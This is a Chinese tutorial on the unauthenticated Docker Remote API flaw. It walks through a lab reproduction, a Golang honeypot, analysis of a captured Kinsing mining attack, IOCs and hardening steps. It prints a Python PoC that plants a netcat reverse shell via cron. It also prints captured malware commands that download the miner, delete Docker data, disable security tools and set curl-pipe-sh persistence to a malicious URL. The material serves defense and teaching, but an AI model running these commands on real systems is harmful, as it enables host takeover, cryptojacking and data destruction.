docker未授权漏洞蜜罐模拟与捕获分析
字数 1870 2025-08-27 12:33:48
Docker未授权漏洞蜜罐模拟与捕获分析教学文档
1. 概述
本教学文档详细讲解Docker未授权漏洞的原理、复现方法、蜜罐模拟技术以及恶意攻击行为分析。通过本教程,您将掌握:
- Docker未授权漏洞的形成原理
- 使用Vulhub靶场复现漏洞的方法
- 使用Golang编写低交互蜜罐的技术
- 捕获和分析真实网络攻击行为
- 提取威胁情报的方法
2. 漏洞原理与复现
2.1 漏洞环境准备
实验环境:
- 宿主机:Ubuntu系统,IP: 192.168.145.139
- 攻击机:Kali Linux,IP: 192.168.145.130
2.2 漏洞原理详解
Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植容器中。漏洞主要涉及:
- Docker Swarm:将Docker集群变成单一虚拟Docker主机的工具
- Docker Remote API:默认绑定在0.0.0.0:2375端口
- 无需认证即可执行Docker命令
- 可访问
http://host:2375/containers/json获取容器列表 - 可执行创建/删除容器、拉取镜像等操作
- 漏洞本质:未授权访问+容器逃逸
- 利用挂载目录逃出容器限制
- 获取宿主机root权限
2.3 漏洞复现步骤
-
搭建Vulhub环境
docker-compose up -d出现绿色"done"表示启动成功
-
验证漏洞存在
浏览器访问http://ip:2375/version,能访问说明漏洞存在 -
POC代码分析
import docker client = docker.DockerClient(base_url='http://192.168.145.139:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc 192.168.145.130 23456 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})关键点解析:
- 连接未授权Docker API
- 使用alpine镜像创建容器
- 挂载宿主机
/etc目录到容器/tmp/etc - 通过nc反弹shell到攻击机23456端口
-
攻击验证
- 攻击机监听:
nc -lvvp 23456 - 执行POC后获取宿主机root shell
- 攻击机监听:
3. 蜜罐模拟技术
3.1 蜜罐类型选择
低交互蜜罐特点:
- 模拟网络服务响应
- 易于部署和控制
- 模拟能力较弱但风险低
- 容易被高级攻击者识别
3.2 Golang蜜罐实现
源码地址:
https://github.com/sunhao282/HoneypotCaptureAttack/tree/master
核心流程:
-
读取配置文件
config.inistatus=1开启蜜罐status=0关闭蜜罐
-
支持的路由路径(基于自动化攻击程序分析):
/containers/json/version/images/json/info/containers/create
-
启动HTTP服务
http.ListenAndServe(":2375", nil) -
日志记录攻击行为
4. 攻击捕获与分析
4.1 恶意样本分析
样本信息:
- IP: 195.2.79.26
- 样本路径:
/d.sh
4.1.1 挖矿程序下载
- 检查并下载kinsing恶意程序
- 下载地址: http://195.2.79.26/kinsing
4.1.2 竞品清除
# 删除用户账号
userdel -r someuser
# 杀掉进程
killall -9 someprocess
# 删除docker文件
rm -rf /var/lib/docker
4.1.3 安全软件卸载
# 卸载阿里云安骑士
/etc/init.d/aegis uninstall
# 关闭安全模块
setenforce 0
systemctl stop apparmor
4.1.4 持久化机制
# 定时任务
(crontab -l ; echo "*/30 * * * * curl http://malicious.url/script.sh | sh") | crontab -
4.2 kinsing样本分析
逆向分析发现:
downloadAndExecute函数:下载执行恶意文件killold函数:结束竞品进程- 挖矿相关功能函数
4.3 IOC情报
IP:
- 195.2.79.26
sh样本哈希:
- SHA256: 529d7dee640400faf1fe550f30adaa8776d18723e41320eb1cde753e436c2238
- MD5: 183192abab39199eb04c1961ff8a61e5
kinsing样本哈希:
- SHA256: 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d
- MD5: 2c44b4e4706b8bd95d1866d7867efa0e
5. 防护建议
-
网络层防护
- 禁止2375端口对外网开放
- 内网设置严格访问规则
- 配置IP白名单
-
认证加固
- 启用Docker TLS认证
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376 -
安全监控
- 部署入侵检测系统监控2375端口异常访问
- 定期审计Docker API调用日志
-
最小权限原则
- 不以root权限运行Docker服务
- 使用非特权用户运行容器
-
安全更新
- 及时更新Docker到最新版本
- 关注CVE漏洞公告
6. 总结
通过本教程,您已掌握:
- Docker未授权漏洞的完整利用链
- 低交互蜜罐的构建方法
- 真实攻击行为的分析方法
- 有效的防护措施
建议在实际环境中谨慎测试漏洞复现部分,蜜罐部署需考虑法律合规性。持续关注新型攻击手法,更新防护策略。